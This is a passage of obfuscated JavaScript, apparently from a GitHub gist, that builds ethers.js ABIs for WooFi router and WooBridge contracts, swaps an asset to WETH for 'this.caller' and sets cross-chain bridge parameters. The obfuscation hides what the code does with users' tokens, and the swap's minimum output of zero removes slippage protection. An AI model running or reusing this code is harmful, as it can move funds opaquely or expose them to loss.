indexed: false,
internalType: 'address',
name: "newPool",
type: "address"
};
const _0x18165b = {
anonymous: false,
inputs: [_0x32dd70],
name: "WooPoolChanged",
type: "event"
};
const _0x5df2df = {
indexed: false,
internalType: "enum IWooRouterV2.SwapType",
name: "swapType",
type: "uint8"
};
const _0x2cef80 = {
indexed: true,
internalType: "address",
name: "fromToken",
type: 'address'
};
const _0x1eb46f = {
indexed: true,
internalType: 'address',
name: "toToken",
type: 'address'
};
const _0x186a88 = {
indexed: false,
internalType: "uint256",
name: "fromAmount",
type: "uint256"
};
const _0x1d19c1 = {
indexed: false,
internalType: "uint256",
name: 'toAmount',
type: "uint256"
};
const _0x45683c = {
indexed: false,
internalType: 'address',
name: "from",
type: 'address'
};
const _0x4b9c93 = {
indexed: true,
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x3515d0 = {
indexed: false,
internalType: 'address',
name: "rebateTo",
type: 'address'
};
const _0x3d5990 = {
anonymous: false,
inputs: [_0x5df2df, _0x2cef80, _0x1eb46f, _0x186a88, _0x1d19c1, _0x45683c, _0x4b9c93, _0x3515d0],
name: "WooRouterSwap",
type: "event"
};
const _0x40ebd1 = {
internalType: 'address',
name: '',
type: 'address'
};
const _0x377f14 = {
inputs: [],
name: "WETH",
outputs: [_0x40ebd1],
stateMutability: 'view',
type: 'function'
};
const _0xd26d50 = {
internalType: "address",
name: "approveTarget",
type: 'address'
};
const _0x197093 = {
internalType: 'address',
name: "swapTarget",
type: 'address'
};
const _0x2d3379 = {
internalType: 'address',
name: "fromToken",
type: 'address'
};
const _0x400dea = {
internalType: 'address',
name: "toToken",
type: 'address'
};
const _0x421425 = {
internalType: "uint256",
name: "fromAmount",
type: "uint256"
};
const _0x44b327 = {
internalType: "uint256",
name: "minToAmount",
type: "uint256"
};
const _0x36c8e9 = {
internalType: "address payable",
name: 'to',
type: 'address'
};
const _0xe5c83e = {
internalType: 'bytes',
name: 'data',
type: 'bytes'
};
const _0x3a8977 = {
inputs: [_0xd26d50, _0x197093, _0x2d3379, _0x400dea, _0x421425, _0x44b327, _0x36c8e9, _0xe5c83e],
name: "externalSwap",
outputs: [{
'internalType': "uint256",
'name': "realToAmount",
'type': "uint256"
}],
stateMutability: "payable",
type: 'function'
};
const _0x143378 = {
internalType: 'address',
name: "stuckToken",
type: 'address'
};
const _0x45a3ee = {
inputs: [_0x143378],
name: "inCaseTokenGotStuck",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x3af117 = {
internalType: 'address',
name: '',
type: 'address'
};
const _0x45d429 = {
inputs: [_0x3af117],
name: "isWhitelisted",
outputs: [{
'internalType': 'bool',
'name': '',
'type': 'bool'
}],
stateMutability: 'view',
type: 'function'
};
const _0x32dfdc = {
inputs: [],
name: "owner",
outputs: [{
'internalType': 'address',
'name': '',
'type': 'address'
}],
stateMutability: "view",
type: 'function'
};
const _0x17b02c = {
internalType: 'address',
name: "fromToken",
type: 'address'
};
const _0x13acb6 = {
internalType: 'address',
name: "toToken",
type: 'address'
};
const _0x345d5f = {
internalType: "uint256",
name: "fromAmount",
type: "uint256"
};
const _0x2f2b60 = {
internalType: "uint256",
name: 'toAmount',
type: "uint256"
};
const _0x436515 = {
inputs: [_0x17b02c, _0x13acb6, _0x345d5f],
name: "querySwap",
outputs: [_0x2f2b60],
stateMutability: 'view',
type: 'function'
};
const _0x5e4543 = {
inputs: [],
name: "quoteToken",
outputs: [{
'internalType': 'address',
'name': '',
'type': "address"
}],
stateMutability: 'view',
type: 'function'
};
const _0x1aff46 = {
inputs: [],
name: "renounceOwnership",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x143eff = {
internalType: "address",
name: "newPool",
type: "address"
};
const _0x46394e = {
inputs: [_0x143eff],
name: "setPool",
outputs: [],
stateMutability: "nonpayable",
type: "function"
};
const _0x1fb504 = {
internalType: 'address',
name: "target",
type: 'address'
};
const _0x42abfb = {
internalType: 'bool',
name: "whitelisted",
type: 'bool'
};
const _0x3cbe7f = {
inputs: [_0x1fb504, _0x42abfb],
name: "setWhitelisted",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x574229 = {
internalType: 'address',
name: "fromToken",
type: 'address'
};
const _0x27c42b = {
internalType: 'address',
name: "toToken",
type: 'address'
};
const _0x5aa7b2 = {
internalType: "uint256",
name: 'fromAmount',
type: "uint256"
};
const _0x5e5bdb = {
internalType: "uint256",
name: "minToAmount",
type: "uint256"
};
const _0x48645e = {
internalType: "address payable",
name: 'to',
type: 'address'
};
const _0x67f73c = {
internalType: 'address',
name: "rebateTo",
type: 'address'
};
const _0x2054dd = {
inputs: [_0x574229, _0x27c42b, _0x5aa7b2, _0x5e5bdb, _0x48645e, _0x67f73c],
name: "swap",
outputs: [{
'internalType': "uint256",
'name': "realToAmount",
'type': "uint256"
}],
stateMutability: "payable",
type: 'function'
};
const _0x378ae1 = {
internalType: 'address',
name: "newOwner",
type: "address"
};
const _0x5b056e = {
inputs: [_0x378ae1],
name: "transferOwnership",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x1c7f67 = {
internalType: 'address',
name: "fromToken",
type: 'address'
};
const _0x2921a1 = {
internalType: 'address',
name: "toToken",
type: 'address'
};
const _0x118d90 = {
internalType: "uint256",
name: "fromAmount",
type: "uint256"
};
const _0x3077df = {
inputs: [_0x1c7f67, _0x2921a1, _0x118d90],
name: "tryQuerySwap",
outputs: [{
'internalType': "uint256",
'name': 'toAmount',
'type': "uint256"
}],
stateMutability: 'view',
type: 'function'
};
const _0x11588c = {
inputs: [],
name: 'wooPool',
outputs: [{
'internalType': "contract IWooPPV2",
'name': '',
'type': 'address'
}],
stateMutability: 'view',
type: 'function'
};
const _0x4743ae = {
stateMutability: "payable",
type: "receive"
};
let _0x5a3dce = [_0x3c5cc3, _0x55bdc, _0x18165b, _0x3d5990, _0x377f14, _0x3a8977, _0x45a3ee, _0x45d429, _0x32dfdc, _0x436515, _0x5e4543, _0x1aff46, _0x46394e, _0x3cbe7f, _0x2054dd, _0x5b056e, _0x3077df, _0x11588c, _0x4743ae];
let _0x3a7e28 = new ethers.Contract(_0x1d9d78, _0x5a3dce, _0x30ef12);
let _0x530929 = await _0x3a7e28.WETH();
return _0x3a7e28.swap(_0x579e7a.asset.token, _0x530929, _0x579e7a.asset.amount, 0, path, this.caller, this.caller);
}
case 'WooBridge':
{
try {
let _0x369a22 = _0x579e7a.chain;
let _0x458bf6 = 101;
let _0x124fab = 110;
console.log("checking path for woobridge");
let _0x59e38c = '';
let _0x5ccef3 = '';
switch (_0x369a22) {
case "bsc":
{
_0x458bf6 = 102;
_0x59e38c = "0x55d398326f99059ff775485246999027b3197955";
_0x5ccef3 = "0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8";
break;
}
case "avax":
{
_0x458bf6 = 106;
_0x59e38c = "0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E";
_0x5ccef3 = "0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8";
break;
}
case 'matic':
{
_0x458bf6 = 109;
_0x59e38c = "0x2791bca1f2de4661ed88a30c99a7a9449aa84174";
_0x5ccef3 = "0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8";
break;
}
case "arb":
{
_0x458bf6 = 110;
_0x124fab = 111;
_0x59e38c = "0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8";
_0x5ccef3 = "0x7f5c764cbc14f9669b88837ca1490cca17c31607";
break;
}
case 'op':
{
_0x458bf6 = 111;
_0x59e38c = "0x7F5c764cBc14f9669B88837ca1490cCa17c31607";
_0x5ccef3 = "0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8";
break;
}
}
let _0x55d2e2 = [_0x579e7a.asset.token, _0x59e38c, _0x579e7a.asset.amount, _0x579e7a.asset.amount];
let _0x473f21 = [_0x124fab, _0x5ccef3, _0x5ccef3, 0, 0];
console.log(_0x55d2e2);
console.log(_0x473f21);
console.log(_0x1d9d78);
const _0xc6d052 = {
internalType: 'address',
name: '_weth',
type: 'address'
};
const _0xd1a15a = {
internalType: 'address',
name: "_wooRouter",
type: 'address'
};
const _0x1ea384 = {
internalType: 'address',
name: "_stargateRouter",
type: 'address'
};
const _0x5252fe = {
internalType: "uint16",
name: "_sgChainIdLocal",
type: "uint16"
};
const _0x212eed = {
inputs: [_0xc6d052, _0xd1a15a, _0x1ea384, _0x5252fe],
stateMutability: "nonpayable",
type: "constructor"
};
const _0x563ee5 = {
indexed: true,
internalType: 'address',
name: "previousOwner",
type: 'address'
};
const _0x4c76cf = {
indexed: true,
internalType: "address",
name: "newOwner",
type: "address"
};
const _0x48a9ba = {
anonymous: false,
inputs: [_0x563ee5, _0x4c76cf],
name: "OwnershipTransferred",
type: "event"
};
const _0x3aa6d2 = {
indexed: true,
internalType: "uint256",
name: "refId",
type: "uint256"
};
const _0x3fb9f3 = {
indexed: true,
internalType: 'address',
name: "sender",
type: 'address'
};
const _0xc4758b = {
indexed: true,
internalType: 'address',
name: 'to',
type: 'address'
};
const _0x1deca0 = {
indexed: false,
internalType: 'address',
name: "bridgedToken",
type: 'address'
};
const _0x58d559 = {
indexed: false,
internalType: "uint256",
name: "bridgedAmount",
type: "uint256"
};
const _0x2965a1 = {
indexed: false,
internalType: 'address',
name: "toToken",
type: "address"
};
const _0x54e462 = {
indexed: false,
internalType: 'address',
name: "realToToken",
type: 'address'
};
const _0x1524f8 = {
indexed: false,
internalType: "uint256",
name: "minToAmount",
type: "uint256"
};
const _0x27161f = {
indexed: false,
internalType: "uint256",
name: "realToAmount",
type: "uint256"
};
const _0x1c7864 = {
anonymous: false,
inputs: [_0x3aa6d2, _0x3fb9f3, _0xc4758b, _0x1deca0, _0x58d559, _0x2965a1, _0x54e462, _0x1524f8, _0x27161f],
name: "WooCrossSwapOnDstChain",
type: "event"
};
const _0x5a57fb = {
indexed: true,
internalType: "uint256",
name: "refId",
type: "uint256"
};
const _0x3fbe28 = {
indexed: true,
internalType: 'address',
name: "sender",
type: 'address'
};
const _0x536571 = {
indexed: true,
internalType: "address",
name: 'to',
type: 'address'
};
const _0x421195 = {
indexed: false,
internalType: 'address',
name: "fromToken",
type: 'address'
};
const _0x4ac80e = {
indexed: false,
internalType: "uint256",
name: "fromAmount",
type: "uint256"
};
const _0x1867e8 = {
indexed: false,
internalType: "uint256",
name: "minBridgeAmount",
type: "uint256"
};
const _0x487be6 = {
indexed: false,
internalType: "uint256",
name: "realBridgeAmount",
type: "uint256"
};
const _0x2e254a = {
anonymous: false,
inputs: [_0x5a57fb, _0x3fbe28, _0x536571, _0x421195, _0x4ac80e, _0x1867e8, _0x487be6],
name: "WooCrossSwapOnSrcChain",
type: "event"
};
const _0x1d04b7 = {
inputs: [],
name: "ETH_PLACEHOLDER_ADDR",
outputs: [{
'internalType': 'address',
'name': '',
'type': "address"
}],
stateMutability: 'view',
type: 'function'
};
const _0x168478 = {
internalType: 'address',
name: "token",
type: 'address'
};
const _0x323591 = {
inputs: [_0x168478],
name: "addDirectBridgeToken",
outputs: [],
stateMutability: "nonpayable",
type: 'function'
};
const _0x526f5b = {
inputs: [],
name: "allDirectBridgeTokens",
outputs: [{
'internalType': "address[]",
'name': '',
'type': "address[]"
}],
stateMutability: 'view',
type: 'function'
};
const _0x3a5ac2 = {
inputs: [],
name: "allDirectBridgeTokensLength",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: 'view',
type: 'function'
};
const _0x1d3cf6 = {
inputs: [],
name: "bridgeSlippage",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: 'view',
type: 'function'
};
const _0x3157b6 = {
internalType: "uint256",
name: "refId",
type: "uint256"
};
const _0x5b5ea2 = {
internalType: "address payable",
name: 'to',
type: 'address'
};
const _0x4f1f34 = {
internalType: 'address',
name: "fromToken",
type: 'address'
};
const _0x2bb76a = {
internalType: 'address',
name: "bridgeToken",
type: 'address'
};
const _0x36ea03 = {
internalType: "uint256",
name: "fromAmount",
type: "uint256"
};
const _0x32aa40 = {
internalType: "uint256",
name: "minBridgeAmount",
type: "uint256"
};
const _0x5963f4 = {
components: [_0x4f1f34, _0x2bb76a, _0x36ea03, _0x32aa40],
internalType: "struct IWooCrossChainRouterV2.SrcInfos",
name: "srcInfos",
type: "tuple"
};
const _0x4cd853 = {
internalType: "uint16",
name: "chainId",
type: "uint16"
};
const _0x156fe2 = {
internalType: 'address',
name: "toToken",
type: 'address'
};
const _0x28a356 = {
internalType: 'address',
name: "bridgeToken",
type: 'address'
};
const _0x445592 = {
internalType: "uint256",
name: "minToAmount",
type: "uint256"
};
const _0x1c6a1e = {
internalType: "uint256",
name: "airdropNativeAmount",
type: "uint256"
};
const _0x4a1fcc = {
components: [_0x4cd853, _0x156fe2, _0x28a356, _0x445592, _0x1c6a1e],
internalType: "struct IWooCrossChainRouterV2.DstInfos",
name: "dstInfos",
type: "tuple"
};
const _0x559956 = {
inputs: [_0x3157b6, _0x5b5ea2, _0x5963f4, _0x4a1fcc],
name: "crossSwap",
outputs: [],
stateMutability: "payable",
type: 'function'
};
const _0x5abcfe = {
inputs: [],
name: "dstGasForNoSwapCall",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: 'view',
type: 'function'
};
const _0x26e9f4 = {
inputs: [],
name: "dstGasForSwapCall",
outputs: [{
'internalType': "uint256",
'name': '',
'type': "uint256"
}],
stateMutability: 'view',
type: 'function'
};
const _0x575c11 = {
internalType: "address",
name: "stuckToken",
type: 'address'
View raw

(Sorry about that, but we can’t show files that are this big right now.)

View raw

(Sorry about that, but we can’t show files that are this big right now.)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment